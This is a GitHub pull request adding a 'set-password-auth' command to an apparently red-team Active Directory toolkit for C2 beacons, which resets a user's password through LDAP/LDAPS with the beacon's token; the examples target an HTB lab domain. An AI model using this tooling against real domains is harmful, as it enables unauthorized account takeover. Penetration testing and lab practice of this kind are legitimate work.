Skip to content

feat(ldap): add set-password-auth BOF — token-based password reset via LDAPS #148

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
0xGunrunner wants to merge 1 commit into
base: main
Choose a base branch
from
Open

feat(ldap): add set-password-auth BOF — token-based password reset via LDAPS #148

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 27 additions & 2 deletions AD-BOF/LDAP-BOF/LDAP.axs
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -1383,6 +1383,31 @@ _cmd_removegenericall.setPreHook(function (id, cmdline, parsed_json, ...parsed_l
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, `Removing GenericAll from ${target}...`);
});

var _cmd_setpasswordauth = ax.create_command(
"set-password-auth",
"Reset a user password using current beacon token (no explicit creds)",
"ldap set-password-auth l.wilson_adm 'N3wP@ssw0rd!' -dc dc01.garfield.htb\n" +
"ldap set-password-auth l.wilson_adm 'N3wP@ssw0rd!' -dc dc01.garfield.htb --ldaps"
);
_cmd_setpasswordauth.addArgString("target", true, "Username or DN");
_cmd_setpasswordauth.addArgString("password", true, "New password");
_cmd_setpasswordauth.addArgFlagString("-ou", "ou_path", false, "Search base (optional)");
_cmd_setpasswordauth.addArgFlagString("-dc", "dc_fqdn", false, "DC hostname — FQDN not IP");
_cmd_setpasswordauth.addArgBool("--ldaps", "Use LDAPS port 636 (default: LDAP 389)");
_cmd_setpasswordauth.setPreHook(function(id, cmdline, parsed_json, ...parsed_lines) {
let target = parsed_json["target"];
let is_dn = identifyInputType(target);
let password = parsed_json["password"];
let ou_path = parsed_json["ou_path"] || "";
let dc_fqdn = parsed_json["dc_fqdn"] || "";
let use_ldaps = parsed_json["--ldaps"] ? 1 : 0;

let bof_params = ax.bof_pack("cstr,int,cstr,cstr,cstr,int",
[target, is_dn, password, ou_path, dc_fqdn, use_ldaps]);
let bof_path = ax.script_dir() + "_bin/LDAP/set-password-auth." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`,
`Resetting password for ${target} using current token...`);
});


var cmd_ldap = ax.create_command("ldap", "LDAP domain interactions (LDAP-BOF)");
Expand All @@ -1395,7 +1420,7 @@ cmd_ldap.addSubCommands([_cmd_addgenericall, _cmd_addgenericwrite, _cmd_adddcsyn
cmd_ldap.addSubCommands([_cmd_setattribute, _cmd_setdelegation, _cmd_setowner, _cmd_setspn, _cmd_setpassword, _cmd_setuac ]);
cmd_ldap.addSubCommands([_cmd_removeace, _cmd_removeattribute, _cmd_removedelegation, _cmd_removedcsync, _cmd_removegenericall, _cmd_removegenericwrite,
_cmd_removegroupmember, _cmd_removeobject, _cmd_removerbcd, _cmd_removespn, _cmd_removeuac, ]);

cmd_ldap.addSubCommands([_cmd_setpasswordauth]);

var group_ldap = ax.create_commands_group("LDAP-BOF", [cmd_ldap]);
ax.register_commands_group(group_ldap, ["beacon", "gopher", "kharon"], ["windows"], []);
ax.register_commands_group(group_ldap, ["beacon", "gopher", "kharon"], ["windows"], []);
1 change: 1 addition & 0 deletions AD-BOF/LDAP-BOF/Makefile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ bof: clean
@$(CC) $(CFLAGS) src/add/add-rbcd.c -o _bin/LDAP/add-rbcd.x64.o && $(STRIP) _bin/LDAP/add-rbcd.x64.o && echo '[+] add-rbcd' || echo '[!] add-rbcd'
@$(CC) $(CFLAGS) src/add/add-ace.c -o _bin/LDAP/add-ace.x64.o && $(STRIP) _bin/LDAP/add-ace.x64.o && echo '[+] add-ace' || echo '[!] add-ace'
@$(CC) $(CFLAGS) src/set/set-password.c -o _bin/LDAP/set-password.x64.o && $(STRIP) _bin/LDAP/set-password.x64.o && echo '[+] set-password' || echo '[!] set-password'
@$(CC) $(CFLAGS) src/set/set-password-auth.c -o _bin/LDAP/set-password-auth.x64.o && $(STRIP) _bin/LDAP/set-password-auth.x64.o && echo '[+] set-password-auth' || echo '[!] set-password-auth'
@$(CC) $(CFLAGS) src/set/set-spn.c -o _bin/LDAP/set-spn.x64.o && $(STRIP) _bin/LDAP/set-spn.x64.o && echo '[+] set-spn' || echo '[!] set-spn'
@$(CC) $(CFLAGS) src/set/set-delegation.c -o _bin/LDAP/set-delegation.x64.o && $(STRIP) _bin/LDAP/set-delegation.x64.o && echo '[+] set-delegation' || echo '[!] set-delegation'
@$(CC) $(CFLAGS) src/set/set-attribute.c -o _bin/LDAP/set-attribute.x64.o && $(STRIP) _bin/LDAP/set-attribute.x64.o && echo '[+] set-attribute' || echo '[!] set-attribute'
Expand Down
Loading